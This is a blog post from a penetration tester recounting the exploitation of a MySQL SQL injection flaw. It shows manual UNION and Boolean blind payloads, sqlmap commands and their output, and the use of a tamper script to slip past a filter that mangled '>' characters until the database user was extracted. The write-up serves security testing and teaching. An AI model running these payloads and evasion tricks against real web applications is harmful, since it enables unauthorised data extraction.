Saturday, November 10, 2012

SQLMap tool is your friend

Hello all!

For the most of you there is nothing new talking about SQL Injection and exploitation techniques.
As I friend of mine says: "SQL Injection is the pop star of the vulnerabilities".
What I will show here is how SQLMap can help you to exploit tricky SQL injection vulnerabilities.
Just the other day performing a penetration testing on a web application I’ve found a SQL injection flaw.
In order to find such vulnerability I was only browsing the application (doing some recognition) and by changing the ID parameter in the follow URL it was enough to give me some clue about the flaw:

https://target.com.br/index.php?a=info&ID=32'

Result:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Well, I was happy to have found it and I started the process to find a way to exploit it. First of all I decided for the UNION technique exploitation, then I tried to find how many columns there was in the SQL select statement:

https://target.com.br/index.php?a=info&ID=32 ORDER BY 2-- (result true)
https://target.com.br/index.php?a=info&ID=32 ORDER BY 3-- (result true)
https://target.com.br/index.php?a=info&ID=32 ORDER BY 4-- (error)

I’ve found out there were 3 columns in the select statement.  To confirm the UNION possibility I’ve tried:

https://target.com.br/index.php?a=info&ID=32 UNION SELECT 1,1,1--

Not so happy! Even the query executed with success the application took the same parameter and used it in other query before give me some results. Then I got this (weird/wonderful) error:

sql: SELECT ID (…) AS FK_ARQUIVO FROM TB_INFO WHERE ID = 32 UNION SELECT 1,1,1--
message: The used SELECT statements have a different number of columns
ErrorNo: 1222

Ok. There were three possibilities to exploit this SQL injection flaw: using a out of band channel technique (INTO OUTFILE clause) , using an error based exploitation or to perform a Boolean blind SQL injection by inference. As the database was MySql and the PHP magic_quotes  was turned on (escaping all the single quotes necessary when you want INTO OUTFILE clause) I decided to check for the error based and Boolean technique.
I tried several error based entries but in some way the application filtered all the error messages responses (unlikely the wonderful error message I got previously.) and I was blind!
I moved to the Boolean technique. The first testing was performed to check if the MySql version was 5.x, extracting the first character of the string returned by the version() function and comparing it with the number 5:

https://target.com.br/index.php?a=info&ID =32 AND MID(  (VERSION()),1,1  )=5--

I’ve got a blank page. I moved further and I tried the number 4:

https://target.com.br/index.php?a=info&ID =32 AND MID(  (VERSION()),1,1  )=4--

Then I got the result expected as if I have requested:

https://target.com.br/index.php?a=info&ID =32

It was possible to perform the Boolean attack and the database was MySql version 4.x.
With this Boolean technique you can perform the data extraction but as you notice, it’s a lot of work. You have to check for every possible character and position by position. Now it’s time for SQLMap. From the SQLMap Documentation about the Boolean technique:

"Boolean-based blind SQL injection, also known as inferential SQL injection: sqlmap replaces or appends to the affected parameter
 in the HTTP request, a syntatically valid SQL statement string containing a SELECT sub-statement, or any other SQL statement whose
 the user want to retrieve the output. For each HTTP response, by making a comparison between the HTTP response headers/body with
the original request, the tool inference the output of the injected statement character by character. Alternatively, the user can
provide a string or regular expression to match on True pages. The bisection algorithm implemented in sqlmap to perform this technique
is able to fetch each character of the output with a maximum of seven HTTP requests. Where the output is not within the clear-text plain
charset, sqlmap will adapt the algorithm with bigger ranges to detect the output."

Not bad! The tool will try to fetch each character with a maximum of seven HTTP requests. Okay. Let’s do it! 

./sqlmap.py -u https://target.com.br/index.php?a-info&ID=32 -p ID --level=5 --dbms=m
ysql --technique=b --current-user –v 3 --user -agent=Mozilla 5.0 --string=District

The detailed parameters:

-u: target URL including the vulnerable parameter
-p: to specify the vulnerable parameter, the SQLMap will try to inject in it.
--level:  the level of the attack sophistication needed (default 1)
--dbms: to tell SQLMap which is the DBMS
--technique: to set which technique we would like to use
--current-user: to extract the current user when performing the SQL Injection attack
--user-agent: to specify an user agent string (default is sqlmap/1.0-dev (http//sqlmap.org))
-v: verbose level (in this case it shows only the payloads)
--string: to specify an unique string presents in the raw response when a condition is true

And this is the output from the tool:
[16:04:26] [INFO] testing connection to the target url
[16:04:28] [INFO] testing if the provided string is within the target URL page content
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=32 AND 9992=9992
    Vector: AND [INFERENCE]
---
[16:04:29] [INFO] testing MySQL
[16:04:29] [PAYLOAD] 32 AND QUARTER(NULL) IS NULL
[16:04:31] [WARNING] reflective value(s) found and filtering out
[16:04:31] [INFO] confirming MySQL
[16:04:31] [PAYLOAD] 32 AND USER()=USER()
[16:04:33] [PAYLOAD] 32 AND ISNULL(TIMESTAMPADD(MINUTE,1,1))
[16:04:35] [PAYLOAD] 32 AND DATABASE() LIKE SCHEMA()
[16:04:36] [PAYLOAD] 32 AND STRCMP(LOWER(CURRENT_USER()),UPPER(CURRENT_USER()))
=0
[16:04:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.x, PHP 5.2.2
back-end DBMS: MySQL < 5.0.0
[16:04:37] [INFO] fetching current user
[16:04:37] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[16:04:37] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 64
[16:04:39] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 32
[16:04:40] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 16
[16:04:41] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 8
[16:04:42] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 4
[16:04:44] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 2
[16:04:45] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 1
[16:04:46] [INFO] retrieved:
[16:04:46] [DEBUG] performed 7 queries in 8 seconds
[16:04:46] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' and/or switch '--hex'
current user:   None
[*] shutting down at 16:04:46

As you can see in the results, the tool couldn’t extract anything. How it would be possible? What was wrong? After some investigation I’ve found out what happened. The perform a faster data extraction SQLMap uses an algorithm checking if the character being under test is greater of less than certain value:

Payload: 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 64

In this case it tests if the first character code is greater than 64 (ASCII code table for @ symbol). Then the tool manipulates these numbers until figure out which is the right character and move forward.
Nothing was wrong with this logic. I decided for a manual exploitation using the same technique to observe easily the responses from the web server. And there was there! When I tried the payload mentioned above I got this error message:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '; 64' at line 1

Can you see something wrong in this message? What’s that? Did I type semicolon instead of greater symbol? No, I didn’t but, the application in some way was changing the greater symbol for the semicolon (near '; 64' at line 1) making the SQL statement invalid.  I’ve found the problem and how about the solution? To perform the same technique in a different way we could use BETWEEN clause. Instead of “> 64”, it would be “BETWEEN 64 AND 128”. Then the request would be:

https://target/index.php?a=info&ID=32%20AND%20ORD%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29,0x20%29%29,1,1%29%29%20BETWEEN%20%2064%20AND%20128

However it’s still a lot of work to perform this task, character by character. AS SQLMap is a very handy tool you have the possibility to use tamper scripts to modify the payloads. Thus you can customize your payloads performing character encoding, inserting comments between the requests, change the letter capital substitution and write evasive payloads. In the tamper directory you find more than 30 tamper scripts ready for you. One of those scripts is the between script. Look at the comment inside the script:

Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
    Example:
        * Input: 'A > B'
        * Output: 'A NOT BETWEEN 0 AND B'

I’ve decided to give a try:

./sqlmap.py -u https://target.com.br/index.php?a-info&ID=32 -p ID --level=5 --dbms=m
ysql --technique=b --current-user –v 3 --user -agent=Mozilla 5.0 --string=District --tamper=between
That’s the output from the tool:
[16:34:03] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
[16:34:13] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
7,1)) NOT BETWEEN 0 AND 1
[16:34:15] [INFO] retrieved: target@dbms1001

Conclusion:

SQLmap is a very handy tool that can help the testers to perform their tasks with good algorithms, techniques and customization level. Before run SQLMap try to find out how the application behaves, which parameters are vulnerable, which is the DBMS version, if there is intrusion prevention mechanisms etc.

No comments:

Post a Comment